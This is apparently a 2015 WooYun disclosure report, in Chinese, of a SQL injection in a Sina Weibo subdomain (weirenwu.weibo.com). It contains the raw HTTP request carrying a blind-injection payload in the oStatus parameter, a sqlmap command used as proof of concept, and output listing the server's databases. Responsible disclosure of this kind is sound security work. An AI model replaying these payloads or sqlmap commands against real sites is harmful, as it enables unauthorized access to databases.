新浪微博某子域SQL注射

编号122288
Urlhttp://www.wooyun.org/bug.php?action=view&id=122288
漏洞状态厂商已经确认
漏洞标题新浪微博某子域SQL注射
漏洞类型SQL注射漏洞
厂商新浪微博
白帽子Jannock
提交日期2015-06-23 15:23:00
公开日期2015-08-08 15:40:00
修复时间(not set)
确认时间2015-06-24 00:00:00
Confirm Spend1
漏洞标签php+数字类型注射
关注数0
收藏数0
白帽评级
白帽自评rank15
厂商评级
厂商评rank5
漏洞简介
新浪微博某子域SQL注射
漏洞细节

http://weirenwu.weibo.com

GET /taskv2/?c=cpcs.cpcsMySquare&sTime=&eTime=2015-06-18+00:00&oStatus=5%20and%201=if((1=1 * ),1,(select%201%20from%20INFORMATION_SCHEMA.TABLES)) HTTP/1.1
Host: weirenwu.weibo.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-HK;q=0.6,en-US;q=0.4,en;q=0.2
Accept-Encoding: gzip, deflate
Cookie: cookie
Connection: keep-alive


oStatus 存在SQL注入

POC

python sqlmap.py -r 1.txt --dbms=mysql --technique=B --threads 5 --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 15:16:26
[15:16:26] [INFO] parsing HTTP request from '1.txt'
custom injection marking character ('*') found in option '-u'. Do you want to pr
ocess it? [Y/n/q] y
[15:16:30] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: URI
Parameter: #1*
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://weirenwu.weibo.com:80/taskv2/?c=cpcs.cpcsMySquare&sTime=&eTi
me=2015-06-18+00:00&oStatus=5 and 1=if((1=1 ) AND 1688=1688 AND (9988=9988 ),1,(
select 1 from INFORMATION_SCHEMA.TABLES))
---
[15:16:30] [INFO] testing MySQL
[15:16:30] [INFO] confirming MySQL
[15:16:30] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.0.0
[15:16:30] [INFO] fetching database names
[15:16:30] [INFO] fetching number of databases
[15:16:30] [INFO] retrieved: 3
[15:16:32] [INFO] retrieving the length of query output
[15:16:32] [INFO] retrieved: 18
[15:16:54] [INFO] retrieved: information_schema
[15:16:54] [INFO] retrieving the length of query output
[15:16:54] [INFO] retrieved: 4
[15:17:00] [INFO] retrieved: test
[15:17:00] [INFO] retrieving the length of query output
[15:17:00] [INFO] retrieved: 8
[15:17:10] [INFO] retrieved: weirenwu
available databases [3]:
[*] information_schema
[*] test
[*] weirenwu


1.png

修复方案

过滤

状态信息 2015-06-23: 细节已通知厂商并且等待厂商处理中
2015-06-24: 厂商已经确认,细节仅向厂商公开
2015-07-04: 细节向核心白帽子及相关领域专家公开
2015-07-14: 细节向普通白帽子公开
2015-07-24: 细节向实习白帽子公开
2015-08-08: 细节向公众公开
厂商回复感谢关注新浪安全,已经通知合作方进行漏洞修复。
回应信息危害等级:中漏洞Rank:5 确认时间:2015-06-24 15:38
Showing 1-6 of 6 items.
评论内容评论人点赞数评论时间

永远的一哥!

Mr.leo02015-06-24 16:39:00

永远的一哥!

DeadSea02015-06-23 18:16:00

漏洞,对于一哥而言,只是想不想发的问题

D_in02015-06-23 16:33:00

一哥你好,我是管管侠!

管管侠02015-06-23 16:12:00

永远的一哥!

rasca102015-06-23 15:55:00

沙发!漏洞,对于一哥而言,只是想不想发的问题

子墨02015-06-23 15:53:00